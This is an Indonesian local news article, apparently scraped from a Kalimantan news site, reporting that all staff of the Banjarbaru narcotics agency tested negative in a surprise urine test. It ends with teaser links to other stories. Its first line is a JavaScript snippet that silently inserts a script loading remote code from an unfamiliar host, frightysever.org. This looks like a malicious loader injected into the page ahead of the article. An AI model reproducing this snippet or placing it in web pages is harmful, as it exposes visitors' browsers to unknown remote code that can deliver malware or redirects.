(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Puluhan pegawai Badan Narkotika Nasional Kota (BNNK) Banjarbaru mendadak riuh, pada Jumat (26/7) pagi. Pasalnya, baru saja tiba di kantor, mereka langsung disuruh berkumpul oleh atasan.
Rupanya, puluhan pegawai ini secara mendadak diwajibkan menjalani tes urine. Tidak satupun yang mengetahui jika Jum’at pagi kemarin mereka bakal dilakukan tes, bertujuan mendeteksi penyalahgunaan narkotika.
Di depan toilet kantor, para pegawai mengantre menunggu giliran untuk melakukan tes urine. Pegawai yang bertugas pun telah siaga. Semua pegawai tak diperkenankan meninggalkan areal kantor.
Menurut Kepala BNNK Banjarbaru, AKBP Sugito, tes dadakan sengaja dilakukan sebagai komitmen dari BNNK Banjarbaru agar bersih dari segala praktik penyalahgunaan bahkan pengedaran narkotika.
“Kita di luar rutin menggelar pencegahan dan pemberantasan. Nah kita juga harus bersih di dalam, jangan sampai ada temuan di internal. Ini harus jadi konsekuensi kita,†tegasnya.
Tes urine dadakan, terang Sugito, memang rutin setiap tahunnya selalu ada digelar. Namun pada momentum kali ini, BNNK Banjarbaru menyebut merupakan bagian dari perayaan Hari Anti Narkoba Internasional (HANI).
“Kita ada tiga agenda yakni Pra HANI, puncak HANI dan sekarang ini Pasca HANI. Nah salah satunya adalah komitmen internal ini,†tambahnya.
Lalu bagaimana hasil tes urine di internal ini? dr Daryl Alfitriz, Dokter Klinik Pratama BNNK Banjarbaru menyampaikan kalau hasilnya negatif. Artinya seluruh pegawai tidak terbukti menggunakan narkotika.
“Dari hasil pemeriksaan tadi, semuanya negatif. Tidak ada yang positif ataupun terdeteksi,†jawab dr Daryl saat ditanya.
Sugito menambahkan seandainya ada pegawai yang terindikasi apalagi positif narkoba. Maka ia menegaskan jika tidak segan-segan untuk memberikan sanksi.
“Tentu ada sanksi. Itu dilihat dari tingkatannya, dari teguran sampai bisa dikeluarkan. Sebab itu sudah konsekuensinya, jadi kita tegaskan agar pegawai jangan ada yang berani bermain-main,†bebernya.
Terakhir, agar lebih mengawasi pegawai BNNK Bankarbaru di luar. Sugito meminta masyarakat agar pro aktif melaporkan kepadanya jika ada pegawai yang terindikasi terlibat dalam penyalahgunaan maupun pengedaran narkotika.
“Laporkan jika memang ada. Kita tidak akan tebang pilih. Kita sangat berkomitmen untuk memberantas narkoba termasuk di internal sendiri,†tegasnya. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
This website uses cookies.